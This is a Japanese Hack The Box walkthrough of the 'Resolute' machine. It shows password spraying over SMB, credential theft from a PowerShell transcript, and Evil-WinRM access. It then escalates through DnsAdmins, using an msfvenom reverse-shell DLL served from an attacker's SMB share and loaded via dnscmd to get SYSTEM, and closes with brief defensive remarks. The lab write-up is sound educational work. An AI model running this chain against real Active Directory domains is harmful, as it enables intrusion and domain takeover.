注意
このWalkthroughはHack The Box(以下、HTB)の問題であるResoluteの解説を目的とした記事です。不正アクセス等の違法行為を助長するものではありません。
はじめに
HTBってフォーラムないと解けなくない!?!?!?
これを仕事でやっているRedTeamの人すごすぎる。。
Walkthrough
User権限を取るまで
nmapスキャン
まずはnmap
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-03-21 07:01:13Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49688/tcp open msrpc Microsoft Windows RPC
49709/tcp open msrpc Microsoft Windows RPC
55368/tcp open tcpwrapped
55451/tcp open tcpwrapped
55496/tcp open tcpwrapped
88/tcpや389/tcpが開いているのでこれもADサーバっぽいことがわかる。
enum4linux
一部抜粋。
=============================
| Users on 10.10.10.169 |
=============================
~snip~
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123!
~snip~
アカウントmarko
のパスワードはWelcome123!
と書いてある。
nmapの結果からWinRMのポートが開いているのでIDとPWを使ってログインを試みるができない。すでにPWが変更されている様子。
smbclient
Linux上で利用できるsmbのクライアント。フォーラムにヒントがあったのでこの環境では初期パスワードとしてWelcome123!
が利用されていると仮定して、パスワードをそのままで運用しているユーザを探す。
MEGABANK\\krbtgt
MEGABANK\\ryan
MEGABANK\\marko
MEGABANK\\sunita
MEGABANK\\abigail
MEGABANK\\marcus
MEGABANK\\sally
MEGABANK\\fred
MEGABANK\\angela
MEGABANK\\felicia
MEGABANK\\gustavo
MEGABANK\\ulf
MEGABANK\\stevie
MEGABANK\\claire
MEGABANK\\paulo
MEGABANK\\steve
MEGABANK\\annette
MEGABANK\\annika
MEGABANK\\per
MEGABANK\\claude
MEGABANK\\melanie
MEGABANK\\zach
MEGABANK\\simon
MEGABANK\\naok
#!/bin/bash
while read line
do
echo "Welcome123!" | smbclient //10.10.10.169/Users/ -U $line
done < ./user.txt
$ ./abc.sh
~snip~
Enter MEGABANK\annika's password:
session setup failed: NT_STATUS_LOGON_FAILURE
Enter MEGABANK\per's password:
session setup failed: NT_STATUS_LOGON_FAILURE
Enter MEGABANK\claude's password:
session setup failed: NT_STATUS_LOGON_FAILURE
### エラーが出ていない
Enter MEGABANK\melanie's password:
tree connect failed: NT_STATUS_BAD_NETWORK_NAME
###
Enter MEGABANK\zach's password:
session setup failed: NT_STATUS_LOGON_FAILURE
Enter MEGABANK\simon's password:
session setup failed: NT_STATUS_LOGON_FAILURE
Enter MEGABANK\naok's password:
session setup failed: NT_STATUS_LOGON_FAILURE
~snip~
melanieでログイン関連のエラーが出なかった。
WinRM経由でログインしてみる。
Evil-WinRM
userのflagゲット。
$ ruby evil-winrm/evil-winrm.rb -i 10.10.10.169 -u melanie -p Welcome123!
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\melanie\Documents> type ../Desktop/user.txt
0c3be45fcfe249796ccbee8d3a978540
Root権限を取るまで
管理者が残したログを見つける
なぜかC:\
にTranscriptのログが落ちているので内容を確認する。
*Evil-WinRM* PS C:\> Get-ChildItem -force
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hs- 5/23/2020 6:31 PM $RECYCLE.BIN
d--hsl 9/25/2019 10:17 AM Documents and Settings
d----- 9/25/2019 6:19 AM PerfLogs
d-r--- 9/25/2019 12:39 PM Program Files
d----- 11/20/2016 6:36 PM Program Files (x86)
d--h-- 9/25/2019 10:48 AM ProgramData
d--h-- 12/3/2019 6:32 AM PSTranscripts
d--hs- 9/25/2019 10:17 AM Recovery
d--hs- 9/25/2019 6:25 AM System Volume Information
d-r--- 12/4/2019 2:46 AM Users
d----- 12/4/2019 5:15 AM Windows
-arhs- 11/20/2016 5:59 PM 389408 bootmgr
-a-hs- 7/16/2016 6:10 AM 1 BOOTNXT
-a-hs- 5/23/2020 3:13 PM 402653184 pagefile.sys
*Evil-WinRM* PS C:\> Get-ChildItem C:\PSTranscripts\ -force -Recurse
Directory: C:\PSTranscripts
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--h-- 12/3/2019 6:45 AM 20191203
Directory: C:\PSTranscripts\20191203
Mode LastWriteTime Length Name
---- ------------- ------ ----
-arh-- 12/3/2019 6:45 AM 3732 PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
ログっぽいものが落ちている。
内容を確認するとnet useしようとしたときにユーザのパスワードが記録されてしまっているのでこの認証情報を用いてログインしてみる。
*Evil-WinRM* PS C:\PSTranscripts\20191203> Get-Content PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
**********************
Windows PowerShell transcript start
Start time: 20191203063201
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
~(snip)~
**********************
Command start time: 20191203063515
**********************
PS>CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"
>> CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="Stream"; value="True"
~(snip)~
ruby evil-winrm/evil-winrm.rb -i 10.10.10.169 -u ryan -p Serv3r4Admin4cc123!
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents> whoami
megabank\ryan
できた。
ユーザ「ryan」の調査
DnsAdmins権限を持っている。悪用できそう。
*Evil-WinRM* PS C:\Users\ryan\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
============= ==============================================
megabank\ryan S-1-5-21-1392959593-3013219662-3596683436-1105
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================== ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
MEGABANK\Contractors Group S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group
MEGABANK\DnsAdmins Alias S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
DnsAdmins権限を用いた権限昇格
「dnsadmins privesc」などで検索を行うとDLL Injectionを用いた方法が出てくる。
WindowsのDNSにはカスタムプラグインとしてDLLを読み込む機能があるそう。
dns.exeがSYSTEM権限で動いているという前提はあるがそのカスタムプラグインとして読み込ませるDLLをリバースシェルにしてやるとADの乗っ取りができそう。
事前調査
攻撃が成功するか検討するため、情報を集めます。
- DNSプロセスの存在確認
*Evil-WinRM* PS C:\Users\ryan\Documents> Get-Process -Name dns
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
5312 3697 68992 67928 3416 0 dns
- DNSCMDコマンドの確認
*Evil-WinRM* PS C:\Users\ryan\Documents> dnscmd /Info
Query result:
Server info
server name = Resolute.megabank.local
version = 3839000A (10.0 build 14393)
DS container = cn=MicrosoftDNS,cn=System,DC=megabank,DC=local
forest name = megabank.local
domain name = megabank.local
builtin forest partition = ForestDnsZones.megabank.local
builtin domain partition = DomainDnsZones.megabank.local
read only DC = 0
~(snip)~
- サービスの確認
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe query dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
msfvenomによるペイロードの作成
適当にリバースシェルを行うDLLを作ります。LHOSTは手元のKaliのIPアドレスにします。
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.22 LPORT=4444 -f dll --platform windows > rev.dll
Exploit
適宜ターミナルは分けてください。
Desktop上に注意事項があるので読みます。
*Evil-WinRM* PS C:\Users\ryan\Desktop> type note.txt
Email to team:
- due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute
- NCコマンドでリバースシェルを待ち受けます。
nc -nlvp 4444
- Impacketのsmbserverでsmbserverを立ち上げます。
DLLをアップロードすると検疫されてしまうのでその対策です。
rev.dllがあるフォルダでコマンドを実行します。
sudo impacket-smbserver share ./
- プラグインを設定した上でDNSサービスの再起動を行います。
すべてコピペをした上でコンソール上に貼り付けることで順次コマンドが実行されていくため便利です。
dnscmd resolute.megabank.local /config /serverlevelplugindll \\10.10.15.233\share\rev.dll
sc.exe stop dns
Get-Service dns
sc.exe start dns
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
Get-Service dns
rootのflagゲット
リバースシェルを待ち構えていたターミナルを見るとコマンドが打てるようになっています。
C:\Users\Administrator\Desktop>whoami
whoami
nt authority\system
C:\Users\Administrator\Desktop>type root.txt
type root.txt
e1d94876a506850d0c20edb5405e619c
原因/対策
初期設定パスワードが使い回されていた。
運用上は楽なんだろうけども、、
初期パスワードを変更しないで使っている人も見据えて運用する側で考えていくしかないですね。
Transcript内に管理者のID/Passowrdが残っていた
ログに残ってしまうという事故ですが、Cドライブ直下に残ってしまったというのも不運でした。
dns.exeのプラグイン機能
これってそもそも無効にできるのでしょうか?
対策はあるのでしょうか?
参考リンク